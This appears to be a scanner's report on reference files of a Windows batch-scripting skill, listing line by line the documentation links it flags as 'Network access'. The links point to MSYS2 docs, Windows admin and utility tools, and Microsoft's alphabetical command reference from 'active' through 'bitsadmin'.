    - [Symlinks](https://www.msys2.org/docs/symlinks/)
  • Network accessline 38
    - [Configuration Locations](https://www.msys2.org/docs/configuration/)
  • Network accessline 39
    - [Terminals](https://www.msys2.org/docs/terminals/)
  • Network accessline 40
    - [IDEs and Text Editors](https://www.msys2.org/docs/ides-editors/)
  • Network accessline 41
    - [Just-in-time Debugging](https://www.msys2.org/docs/jit-debugging/)
  • Network accessline 45
    - [Package Management](https://www.msys2.org/docs/package-management/)
  • Network accessline 46
    - [Package Naming](https://www.msys2.org/docs/package-naming/)
  • Network accessline 47
    - [Package Index](https://packages.msys2.org/)
  • Network accessline 48
    - [Repositories and Mirrors](https://www.msys2.org/docs/repos-mirrors/)
  • Network accessline 49
    - [Package Mirrors](https://www.msys2.org/docs/mirrors/)
  • Network accessline 50
    - [Tips and Tricks](https://www.msys2.org/docs/package-management-tips/)
  • Network accessline 51
    - [FAQ](https://www.msys2.org/docs/package-management-faq/)
  • Network accessline 52
    - [pacman](https://www.msys2.org/docs/pacman/)
  • Network accessline 56
    - [Using CMake in MSYS2](https://www.msys2.org/docs/cmake/)
  • Network accessline 57
    - [Autotools](https://www.msys2.org/docs/autotools/)
  • Network accessline 58
    - [Python](https://www.msys2.org/docs/python/)
  • Network accessline 59
    - [Git](https://www.msys2.org/docs/git/)
  • Network accessline 60
    - [C/C++](https://www.msys2.org/docs/c/)
  • Network accessline 61
    - [C++](https://www.msys2.org/docs/cpp/)
  • Network accessline 62
    - [pkg-config](https://www.msys2.org/docs/pkgconfig/)
  • Network accessline 63
    - [Using MSYS2 in CI](https://www.msys2.org/docs/ci/)
  • Network accessline 67
    - [Creating a new Package](https://www.msys2.org/dev/new-package/)
  • Network accessline 68
    - [Updating an existing Package](https://www.msys2.org/dev/update-package/)
  • Network accessline 69
    - [Package Guidelines](https://www.msys2.org/dev/package-guidelines/)
  • Network accessline 70
    - [License Metadata](https://www.msys2.org/dev/package-licensing/)
  • Network accessline 71
    - [PKGBUILD](https://www.msys2.org/dev/pkgbuild/)
  • Network accessline 72
    - [Mirrors](https://www.msys2.org/dev/mirrors/)
  • Network accessline 73
    - [MSYS2 Keyring](https://www.msys2.org/dev/keyring/)
  • Network accessline 74
    - [Python](https://www.msys2.org/dev/python/)
  • Network accessline 75
    - [Automated Build Process](https://www.msys2.org/dev/build-process/)
  • Network accessline 76
    - [Vulnerability Reporting](https://www.msys2.org/dev/vulnerabilities/)
  • Network accessline 77
    - [Accounts and Ownership](https://www.msys2.org/dev/accounts/)
  • Network accessline 81
    - [Welcome to the MSYS2 wiki](https://www.msys2.org/wiki/Home/)
  • Network accessline 82
    - [How does MSYS2 differ from Cygwin?](https://www.msys2.org/wiki/How-does-MSYS2-differ-from-Cygwin/)
  • Network accessline 83
    - [MSYS2-Introduction](https://www.msys2.org/wiki/MSYS2-introduction/)
  • Network accessline 84
    - [MSYS2 History](https://www.msys2.org/wiki/History/)
  • Network accessline 85
    - [Creating Packages](https://www.msys2.org/wiki/Creating-Packages/)
  • Network accessline 86
    - [Distributing](https://www.msys2.org/wiki/Distributing/)
  • Network accessline 87
    - [Launchers](https://www.msys2.org/wiki/Launchers/)
  • Network accessline 88
    - [Porting](https://www.msys2.org/wiki/Porting/)
  • Network accessline 89
    - [Re-installing MSYS2](https://www.msys2.org/wiki/MSYS2-reinstallation/)
  • Network accessline 90
    - [Setting up SSHd](https://www.msys2.org/wiki/Setting-up-SSHd/)
  • Network accessline 91
    - [Signing Packages](https://www.msys2.org/wiki/Signing-packages/)
  • Network accessline 92
    - [Do you need Sudo?](https://www.msys2.org/wiki/Sudo/)
  • Network accessline 93
    - [Terminals](https://www.msys2.org/wiki/Terminals/)
  • Network accessline 94
    - [Qt Creator](https://www.msys2.org/wiki/GDB-qtcreator/)
  • Network accessline 95
    - [TODO LIST](https://www.msys2.org/wiki/Devtopics/)

harness/claude-code/skills/batch-files/references/tools-and-resources.md

  • Network accessline 5
    - [Terminal, Command Line and console blog](https://devblogs.microsoft.com/commandline/)
  • Network accessline 6
    - [Rob van der Woude.com](https://www.robvanderwoude.com/batchfiles.php)
  • Network accessline 7
    - [Security Bulletins](https://msrc.microsoft.com/update-guide)
  • Network accessline 8
    - [OpenCVE](https://app.opencve.io/cve/?q=vendor%3Amicrosoft+AND+cvss31%3E%3D9)
  • Network accessline 9
    - [Old New Thing](https://devblogs.microsoft.com/oldnewthing/tag/tipssupport)
  • Network accessline 10
    - [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/Home.aspx)
  • Network accessline 11
    - [aka.ms Search](https://aka.ms/)
  • Network accessline 15
    - [Windows versions](https://ss64.com/nt/ver.html)
  • Network accessline 16
    - [RSAT](https://ss64.com/links/ps.html#kits) - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/do
  • Network accessline 17
    - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - [RSAT KBase](h
  • Network accessline 18
    - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520)
  • Network accessline 19
    - [RSAT KBase](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](
  • Network accessline 20
    - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/m
  • Network accessline 21
    - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319)
  • Network accessline 22
    - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/microsoft-security-baselines/new--updated-security-tools/1631613)
  • Network accessline 23
    - [Policy Analyzer Release notes](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer)
  • Network accessline 24
    - [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/)
  • Network accessline 25
    - [File Locksmith](https://learn.microsoft.com/windows/powertoys/file-locksmith)
  • Network accessline 26
    - [Keyboard Manager](https://learn.microsoft.com/en-us/windows/powertoys/keyboard-manager)
  • Network accessline 27
    - [PowerToys Releases (Github)](https://github.com/microsoft/PowerToys/releases) - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/do
  • Network accessline 28
    - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - [Local Administrator Password Solution (LAPS)](ht
  • Network accessline 29
    - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974)
  • Network accessline 30
    - [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/download/details.aspx?id=46899)
  • Network accessline 31
    - [LAPS howto](https://learn-powershell.net/2016/10/08/setting-up-local-administrator-password-solution-laps/) - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](ht
  • Network accessline 32
    - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - [Account Lockout and Management Tools](https://www.mi
  • Network accessline 33
    - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201)
  • Network accessline 34
    - [Account Lockout and Management Tools](https://www.microsoft.com/download/details.aspx?id=18465)
  • Network accessline 35
    - [Microsoft Security Compliance Toolkit 1.0](https://www.microsoft.com/download/details.aspx?id=55319)
  • Network accessline 36
    - [How to disable SMB 1 (or 2/3 for testing)](https://learn.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3)
  • Network accessline 37
    - [File, Folder and Share Permission Utility Tool](https://web.archive.org/web/20200318052717/https://gallery.technet.microsoft.com/scriptcenter/File-Folder-and-Share-f788312b)
  • Network accessline 38
    - [File Checksum Integrity Verifier](https://web.archive.org/web/20150302180951/https://support.microsoft.com/kb/841290)
  • Network accessline 39
    - [CERTUTIL](https://ss64.com/nt/certutil.html) - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?i
  • Network accessline 40
    - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - [Object Settings spreadsheet 2003/200
  • Network accessline 41
    - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895)
  • Network accessline 42
    - [Object Settings spreadsheet 2003/2008/2008R2/Win7](https://www.microsoft.com/download/details.aspx?id=25250)
  • Network accessline 43
    - [Microsoft PowerToys (Github)](https://github.com/Microsoft/PowerToys)
  • Network accessline 44
    - [Windows 11 ISO](https://www.microsoft.com/en-us/software-download/windows11)
  • Network accessline 48
    - [Windows 11 Installation Assistant](https://www.microsoft.com/software-download/windows11)
  • Network accessline 49
    - [Install Windows 11 Without a Microsoft Account](https://www.tomshardware.com/how-to/install-windows-11-without-microsoft-account) - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - [Windows ADK 24H2](
  • Network accessline 50
    - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667)
  • Network accessline 51
    - [Windows ADK 24H2](https://www.microsoft.com/en-us/download/details.aspx?id=106254)
  • Network accessline 52
    - [Windows Server 25](https://www.microsoft.com/en-us/download/details.aspx?id=106295)
  • Network accessline 53
    - [Microsoft Deployment Toolkit](https://learn.microsoft.com/en-us/intune/configmgr/mdt/)
  • Network accessline 54
    - [Windows Assessment and Deployment Kit](https://learn.microsoft.com/en-us/windows-hardware/get-started/adk-install) - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/softwar
  • Network accessline 55
    - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO)
  • Network accessline 56
    - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10)
  • Network accessline 57
    - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO)
  • Network accessline 59
    - [Locale Builder 2.0](https://www.microsoft.com/download/details.aspx?id=41158)
  • Network accessline 63
    - [Ansible](https://www.ansible.com/how-ansible-works/)
  • Network accessline 64
    - [Chocolatey](https://chocolatey.org/)
  • Network accessline 65
    - [Ninite](https://ninite.com/)
  • Network accessline 66
    - [Scoop](https://scoop.sh/)
  • Network accessline 67
    - [Windows Package Manager (WinGet)](https://devblogs.microsoft.com/commandline/windows-package-manager-1-1/)
  • Network accessline 68
    - [AppGet](https://devblogs.microsoft.com/commandline/winget-install-learning/)
  • Network accessline 72
    - [SysInternals](https://learn.microsoft.com/en-us/sysinternals/)
  • Network accessline 73
    - [bottom](https://github.com/ClementTsang/bottom) — cross-platform graphical process/system monitor
  • Network accessline 74
    - [Caffeine.exe](https://www.zhornsoftware.co.uk/caffeine/index.html) — prevent sleep/lock
  • Network accessline 75
    - [CMDebug](https://jpsoft.com/products/cmdebug.html) — batch file debugger
  • Network accessline 76
    - [Console 2](https://github.com/cbucher/console) | [review](https://www.hanselman.com/blog/Console2ABetterWindowsCommandPrompt)
  • Network accessline 77
    - [ConEmu-Maximus5](https://conemu.github.io/) | [review](https://www.hanselman.com/blog/ConEmuTheWindowsTerminalConsolePromptWeveBeenWaitingFor)
  • Network accessline 78
    - [CopyTrans Manager](https://www.copytrans.net/copytransmanager/) | [CopyTrans Filey](https://www.copytrans.net/copytransfiley/)
  • Network accessline 79
    - [CryptoPrevent](https://www.bleepingcomputer.com/virus-removal/cryptolocker-ransomware-information)
  • Network accessline 80
    - [Cygwin](https://cygwin.com/)
  • Network accessline 81
    - [DOFF](https://ss64.com/links/doff10.zip) | [source](https://ss64.com/links/doff10_source.zip)
  • Network accessline 82
    - [FastCopy](https://fastcopy.jp/)
  • Network accessline 83
    - [FindRepl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=4697) — find and replace in text files
  • Network accessline 84
    - [Gow](https://github.com/bmatzelle/gow) — GNU on Windows (lightweight Cygwin alternative)
  • Network accessline 85
    - [ImageMagick](https://www.imagemagick.org/)
  • Network accessline 86
    - [Jdupes](https://codeberg.org/jbruchon/jdupes) — duplicate file finder
  • Network accessline 87
    - [Joeware.net](https://www.joeware.net/freetools/) — AD and Windows tools - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/down
  • Network accessline 88
    - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - [MParallel](https://github.com/lordmulder/MPa
  • Network accessline 89
    - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460)
  • Network accessline 90
    - [MParallel](https://github.com/lordmulder/MParallel) — parallel command execution
  • Network accessline 91
    - [Nirsoft Utilities](https://www.nirsoft.net/)
  • Network accessline 92
    - [NirCMD](https://www.nirsoft.net/utils/nircmd.html) — command-line automation utility
  • Network accessline 93
    - [NSIS](https://nsis.sourceforge.io/Main_Page) — installer creation
  • Network accessline 94
    - [Npocmaka batch scripts](https://github.com/npocmaka/batch.scripts)
  • Network accessline 95
    - [zipjs.bat](https://stackoverflow.com/questions/28043589/how-can-i-compress-zip-and-uncompress-unzip-files-and-folders-with-bat)
  • Network accessline 96
    - [PDFtk](https://www.pdflabs.com/tools/pdftk-server/) — PDF manipulation
  • Network accessline 97
    - [Petter Nordahl-Hagen](https://pogostick.net/~pnh/ntpasswd/main.html) — NT password recovery
  • Network accessline 98
    - [pretentiousname utilities](https://www.pretentiousname.com/miscsoft/index.html)
  • Network accessline 99
    - [Repl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=3855) — regex replace in text files
  • Network accessline 100
    - [Ritchie Lawrence tools](https://github.com/ritchielawrence/) | [cmdow](https://github.com/ritchielawrence/cmdow)
  • Network accessline 101
    - [SetACL](https://helgeklein.com/setacl/) — permission management
  • Network accessline 102
    - SetRes — screen resolution changer - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - [Bill Stewart utilities](https://westmesatech.com/?page_id=23)
  • Network accessline 103
    - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing
  • Network accessline 104
    - [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - [WebP utilities](https://developers.google.com/speed/webp/download)
  • Network accessline 105
    - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/)
  • Network accessline 106
    - [WebP utilities](https://developers.google.com/speed/webp/download)
  • Network accessline 110
    - [Depicus](https://www.depicus.com/wake-on-lan/wake-on-lan-cmd)
  • Network accessline 111
    - [Gammadyne](https://www.gammadyne.com/cmdline.htm#wol)
  • Network accessline 112
    - [Nirsoft WOL](https://www.nirsoft.net/utils/wake_on_lan.html)
  • Network accessline 113
    - [PowerShell Wake On LAN script](https://powershell.one/code/11.html)
  • Network accessline 117
    - [Windows Terminal](https://apps.microsoft.com/detail/9N0DX20HK701) | [GitHub](https://github.com/microsoft/terminal)
  • Network accessline 118
    - [ConEmu](https://conemu.github.io/)
  • Network accessline 119
    - [ConsoleZ](https://github.com/cbucher/console)
  • Network accessline 120
    - [Fluent Terminal](https://github.com/felixse/FluentTerminal)
  • Network accessline 121
    - [Hyper](https://hyper.is/)
  • Network accessline 122
    - [MinTTY](https://mintty.github.io/)
  • Network accessline 123
    - [MobaXterm](https://mobaxterm.mobatek.net/)
  • Network accessline 124
    - [Tabby](https://tabby.sh/)
  • Network accessline 125
    - [ZOC](https://www.emtec.com/zoc/)

harness/claude-code/skills/batch-files/references/windows-commands.md

  • Network accessline 3
    Comprehensive command reference from [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands).
  • Network accessline 7
    - [active](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/active)
  • Network accessline 8
    - [add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add)
  • Network accessline 9
    - [add alias](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-alias)
  • Network accessline 10
    - [add volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-volume)
  • Network accessline 11
    - [adprep](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/adprep)
  • Network accessline 12
    - [append](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/append)
  • Network accessline 13
    - [arp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/arp)
  • Network accessline 14
    - [assign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assign)
  • Network accessline 15
    - [assoc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc)
  • Network accessline 16
    - [at](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/at)
  • Network accessline 17
    - [atmadm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/atmadm)
  • Network accessline 18
    - [attach-vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attach-vdisk)
  • Network accessline 19
    - [attrib](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib)
  • Network accessline 20
    - [attributes](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes)
  • Network accessline 21
    - [attributes disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-disk)
  • Network accessline 22
    - [attributes volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-volume)
  • Network accessline 23
    - [auditpol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol)
  • Network accessline 24
    - [auditpol backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-backup)
  • Network accessline 25
    - [auditpol clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-clear)
  • Network accessline 26
    - [auditpol get](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-get)
  • Network accessline 27
    - [auditpol list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-list)
  • Network accessline 28
    - [auditpol remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-remove)
  • Network accessline 29
    - [auditpol resourcesacl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-resourcesacl)
  • Network accessline 30
    - [auditpol restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-restore)
  • Network accessline 31
    - [auditpol set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-set)
  • Network accessline 32
    - [autochk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autochk)
  • Network accessline 33
    - [autoconv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autoconv)
  • Network accessline 34
    - [autofmt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autofmt)
  • Network accessline 35
    - [automount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/automount)
  • Network accessline 39
    - [bcdboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdboot)
  • Network accessline 40
    - [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit)
  • Network accessline 41
    - [bdehdcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg)
  • Network accessline 42
    - [bdehdcfg driveinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-driveinfo)
  • Network accessline 43
    - [bdehdcfg newdriveletter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-newdriveletter)
  • Network accessline 44
    - [bdehdcfg quiet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-quiet)
  • Network accessline 45
    - [bdehdcfg restart](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-restart)
  • Network accessline 46
    - [bdehdcfg size](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-size)
  • Network accessline 47
    - [bdehdcfg target](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-target)
  • Network accessline 48
    - [begin backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-backup)
  • Network accessline 49
    - [begin restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-restore)
  • Network accessline 50
    - [bitsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin)
  • Network accessline 51
    - [bitsadmin addfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfile)
  • Network accessline 52
    - [bitsadmin addfileset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfileset)
  • Network accessline 53
    - [bitsadmin addfilewithranges](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfilewithranges)
  • Network accessline 54
    - [bitsadmin cache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache)
  • Network accessline 55
    - [bitsadmin cancel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cancel)
  • Network accessline 56
    - [bitsadmin complete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-complete)
  • Network accessline 57
    - [bitsadmin create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-create)
  • Network accessline 58
    - [bitsadmin examples](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples)
  • Network accessline 59
    - [bitsadmin getaclflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getaclflags)
  • Network accessline 60
    - [bitsadmin getbytestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestotal)
  • Network accessline 61
    - [bitsadmin getbytestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestransferred)
  • Network accessline 62
    - [bitsadmin getclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getclientcertificate)
  • Network accessline 63
    - [bitsadmin getcompletiontime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcompletiontime)
  • Network accessline 64
    - [bitsadmin getcreationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcreationtime)
  • Network accessline 65
    - [bitsadmin getcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcustomheaders)
  • Network accessline 66
    - [bitsadmin getdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdescription)
  • Network accessline 67
    - [bitsadmin getdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdisplayname)
  • Network accessline 68
    - [bitsadmin geterror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterror)
  • Network accessline 69
    - [bitsadmin geterrorcount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterrorcount)
  • Network accessline 70
    - [bitsadmin getfilestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestotal)
  • Network accessline 71
    - [bitsadmin getfilestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestransferred)
  • Network accessline 72
    - [bitsadmin gethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokenflags)
  • Network accessline 73
    - [bitsadmin gethelpertokensid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokensid)
  • Network accessline 74
    - [bitsadmin gethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethttpmethod)
  • Network accessline 75
    - [bitsadmin getmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmaxdownloadtime)
  • Network accessline 76
    - [bitsadmin getminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getminretrydelay)
  • Network accessline 77
    - [bitsadmin getmodificationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmodificationtime)
  • Network accessline 78
    - [bitsadmin getnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnoprogresstimeout)
  • Network accessline 79
    - [bitsadmin getnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifycmdline)
  • Network accessline 80
    - [bitsadmin getnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyflags)
  • Network accessline 81
    - [bitsadmin getnotifyinterface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyinterface)
  • Network accessline 82
    - [bitsadmin getowner](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getowner)
  • Network accessline 83
    - [bitsadmin getpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpeercachingflags)
  • Network accessline 84
    - [bitsadmin getpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpriority)
  • Network accessline 85
    - [bitsadmin getproxybypasslist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxybypasslist)
  • Network accessline 86
    - [bitsadmin getproxylist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxylist)
  • Network accessline 87
    - [bitsadmin getproxyusage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxyusage)
  • Network accessline 88
    - [bitsadmin getreplydata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplydata)
  • Network accessline 89
    - [bitsadmin getreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyfilename)
  • Network accessline 90
    - [bitsadmin getreplyprogress](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyprogress)
  • Network accessline 91
    - [bitsadmin getsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getsecurityflags)
  • Network accessline 92
    - [bitsadmin getstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getstate)
  • Network accessline 93
    - [bitsadmin gettemporaryname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettemporaryname)
  • Network accessline 94
    - [bitsadmin gettype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettype)
  • Network accessline 95
    - [bitsadmin getvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getvalidationstate)
  • Network accessline 96
    - [bitsadmin help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-help)
  • Network accessline 97
    - [bitsadmin info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-info)
  • Network accessline 98
    - [bitsadmin list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-list)
  • Network accessline 99
    - [bitsadmin listfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-listfiles)
  • Network accessline 100
    - [bitsadmin makecustomheaderswriteonly](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-makecustomheaderswriteonly)
  • Network accessline 101
    - [bitsadmin monitor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-monitor)
  • Network accessline 102
    - [bitsadmin nowrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-nowrap)
  • Network accessline 103
    - [bitsadmin peercaching](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching)
  • Network accessline 104
    - [bitsadmin peers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers)
  • Network accessline 105
    - [bitsadmin rawreturn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-rawreturn)
  • Network accessline 106
    - [bitsadmin removeclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removeclientcertificate)
  • Network accessline 107
    - [bitsadmin removecredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removecredentials)
  • Network accessline 108
    - [bitsadmin replaceremoteprefix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-replaceremoteprefix)
  • Network accessline 109
    - [bitsadmin reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-reset)
  • Network accessline 110
    - [bitsadmin resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-resume)
  • Network accessline 111
    - [bitsadmin setaclflag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setaclflag)
  • Network accessline 112
    - [bitsadmin setclientcertificatebyid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyid)
  • Network accessline 113
